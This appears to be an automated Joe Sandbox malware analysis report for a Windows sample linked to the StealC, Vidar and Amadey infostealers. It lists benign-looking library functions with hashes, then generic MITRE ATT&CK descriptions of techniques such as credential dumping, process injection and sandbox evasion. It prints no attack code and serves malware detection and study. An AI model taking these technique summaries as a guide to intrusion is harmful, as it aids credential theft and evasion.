API String ID: 1646373207-1628273567
Opcode ID: 852ad3b4b3a68cf970499604d41ee76458bb297e3703a764a7ea1e31dd87d9a0
Instruction ID: 9c4c2aba749a06c122394348fda1e4d4a45c38ef0da60e6ad5279adc3cfea9c9
Opcode Fuzzy Hash: 852ad3b4b3a68cf970499604d41ee76458bb297e3703a764a7ea1e31dd87d9a0
Instruction Fuzzy Hash: 2E015EB67012289FDF04AFA69884B197BB9EB8B311B044469EA06D7710DB7CE901CFD1

Function 6CE06DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CE06E22
__Init_thread_footer.LIBCMT ref: 6CE06E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CE06E1D

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6d34fb17791b10325450ac149f846d45fa2dbcadf13fc713a187a214fd62b86
Instruction ID: 9df43e9c152045e3c6bd44efa4be953b6918cd9a3f5ebf35f75a4930445ad835
Opcode Fuzzy Hash: f6d34fb17791b10325450ac149f846d45fa2dbcadf13fc713a187a214fd62b86
Instruction Fuzzy Hash: 07F0B4757053908BEB008BA8CA50F957775D713618F250165C80546F61DB2DB6A7CBE3

Function 6CDB9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CDB9EEF

Strings

Infinity, xrefs: 6CDB9EB7
NaN, xrefs: 6CDB9EC1

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 4889c97f28a1994150983229512cf6289d0d7e271bd9be3c96d1cbcc91234a69
Instruction ID: 54d7ddd5d4bd790d54abc92feba0fa201a993632c90c13f6ce7f1547c23e7ee1
Opcode Fuzzy Hash: 4889c97f28a1994150983229512cf6289d0d7e271bd9be3c96d1cbcc91234a69
Instruction Fuzzy Hash: 7AF040B0A012A0CBDB00CF28DA06B923371B303709F380A18C5041BB60DB3DB546CFC2

Function 6CDB3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CE2F860), ref: 6CDB385C
ReleaseSRWLockExclusive.KERNEL32(6CE2F860,?), ref: 6CDB3871

Strings

,l, xrefs: 6CDB387A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,l
API String ID: 17069307-1755907662
Opcode ID: 21adced52195c93387e0a84aa6e9567262c3cd3d83312b7d8d0b292535d33710
Instruction ID: 8b134a6881bbfae96bf594527ffe6b1f34ffe2dd76ae6f5d364d0bebab267a52
Opcode Fuzzy Hash: 21adced52195c93387e0a84aa6e9567262c3cd3d83312b7d8d0b292535d33710
Instruction Fuzzy Hash: 5FE0DF76901B38D787019FA6A40278ABB78EF03AA13244105E40B2BA10CB3CE440A6D6

Function 6CDBBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CDBBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CDBBEF5

Strings

cryptbase.dll, xrefs: 6CDBBEF0

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 453d2c52b123318676f686c76c9e33bbb0779c0e302f21361a9109e53029ba8e
Instruction ID: 5dcda025512265eeb0f812b53ee55085099608751086b0b56886ef2a71d4ba95
Opcode Fuzzy Hash: 453d2c52b123318676f686c76c9e33bbb0779c0e302f21361a9109e53029ba8e
Instruction Fuzzy Hash: 1AD0C77158410CFAD7406B518D05B153774A701715F50C021F757549B1C7B5E550CB54

Function 6CDA50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CDA4E9C,?,?,?,?,?), ref: 6CDA510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CDA4E9C,?,?,?,?,?), ref: 6CDA5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CDA5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CDA4E9C), ref: 6CDA5234

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 88fb5316bc4ba053ba89e78928113f6874973838bba14ff29e654e440ef6df56
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 3991B175505A56CFCB14CF08C490A5ABBA1FF89318B28859DEC589B725E331FC42CBE1

Function 6CDE08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDE0918
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDE09A6
EnterCriticalSection.KERNEL32(6CE2E7DC,?,00000000), ref: 6CDE09F3
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDE0ACB

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2bb7719d06c731f5da5bb46e2356547a330d0fb2cca3f2eb8417cf790b9c0b8b
Instruction ID: a49ae51f37ffcdbedbaacf6897e5ffff8e5f25d7a96680d5b5c1419c893595e7
Opcode Fuzzy Hash: 2bb7719d06c731f5da5bb46e2356547a330d0fb2cca3f2eb8417cf790b9c0b8b
Instruction Fuzzy Hash: 8D512C32B01A74CBEB089F65C84076573B5EB89BA4B29413AD9A597FA0DF34F801D7D0

Function 6CDFB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CDFB2C9,?,?,?,6CDFB127,?,?,?,?,?,?,?,?,?,6CDFAE52), ref: 6CDFB628

Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF90FF
Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CDFB2C9,?,?,?,6CDFB127,?,?,?,?,?,?,?,?,?,6CDFAE52), ref: 6CDFB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CDFB2C9,?,?,?,6CDFB127,?,?,?,?,?,?,?,?,?,6CDFAE52), ref: 6CDFB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CDFB127,?,?,?,?,?,?,?,?), ref: 6CDFB74D

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ca59b16bc85f287f675f1cb9bd9bb0bf3f0fbf88bbd705c96fa5a198520ffc68
Instruction ID: 04924a30dc6e7da64b72e64625c1fc6b0e4dda7080fd00fb49404c89b01f5691
Opcode Fuzzy Hash: ca59b16bc85f287f675f1cb9bd9bb0bf3f0fbf88bbd705c96fa5a198520ffc68
Instruction Fuzzy Hash: 9651CDB1A01316DFDB14DF18C98076EB7B5FF45304F168529C86AAB7A0DB31A806CBA1

Function 6CDFDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CDEFF2A), ref: 6CDFDFFD

Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF90FF
Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CDEFF2A), ref: 6CDFE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CDEFF2A), ref: 6CDFE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CDEFF2A), ref: 6CDFE0FE

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cb049af98fe15fb895d3795ae460f95cf45bea4af1fef67a0e8d11a98316b7e8
Instruction ID: d796b48622ea0762c9317814bbfb90ccb759ccbfdcb7718f98102c2950da6570
Opcode Fuzzy Hash: cb049af98fe15fb895d3795ae460f95cf45bea4af1fef67a0e8d11a98316b7e8
Instruction Fuzzy Hash: D141C0B1704216CFEB14CF68D88075A73B6BB45308F264939D666DBB60E731E906CB92

Function 6CDF6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CDF6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CDF6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CDF6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDF6F5C

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 761ed2688015619f58a988c997b47d488c105fff97a231df06610fcf94f45b87
Instruction ID: 0571227cb62df870e06952fe19d76cca84c97a481f2eff40dbb09fd505465c99
Opcode Fuzzy Hash: 761ed2688015619f58a988c997b47d488c105fff97a231df06610fcf94f45b87
Instruction Fuzzy Hash: 5331C871A105068FEB04CF2CD9406AE73F9FF85344F558539D426CBA61EB31E556C790

Function 6CE0B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CDB0A4D), ref: 6CE0B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CDB0A4D), ref: 6CE0B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CDB0A4D), ref: 6CE0B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CDB0A4D), ref: 6CE0B67F

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: fe19b737f5ae5746f819f9f2d2c70ea5498bdb645dbfa183073e9d89cba0031e
Instruction ID: b0b55e11f52be22f3ff34c8303c544f12d85e346af600293610663de9946f427
Opcode Fuzzy Hash: fe19b737f5ae5746f819f9f2d2c70ea5498bdb645dbfa183073e9d89cba0031e
Instruction Fuzzy Hash: E931B471F012168FEB10CF58D85465AFBB9FF81318F268569C8069B741DB31E925CBE2

Function 6CDDF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CDDF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CDDF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CDDF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CDDF668

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 978d34116c623902b3fa4d0ea96c73432c1bc24746291f4cf278e9b92177b163
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 0C314D71B00214AFC714CF6DDCC0A9B7BBAEB84354B18853DFA4A8BB14D631F9548B90

Function 6CDF26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDF26C1
free.MOZGLUE(?), ref: 6CDF26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDF26FF
free.MOZGLUE ref: 6CDF270D

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e9bbbc7b2d25dd5a507135ec055e921472bff0622d55a1a16606259418e26208
Instruction ID: 8a56c87701cc478010d6b102c011cbdf7218764db466e43a50246e6cdc640980
Opcode Fuzzy Hash: e9bbbc7b2d25dd5a507135ec055e921472bff0622d55a1a16606259418e26208
Instruction Fuzzy Hash: 5CF0A9B27012419BF7009B18D884E5BB3ADFF5125CB550035EA26D7B21F732F91AC6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

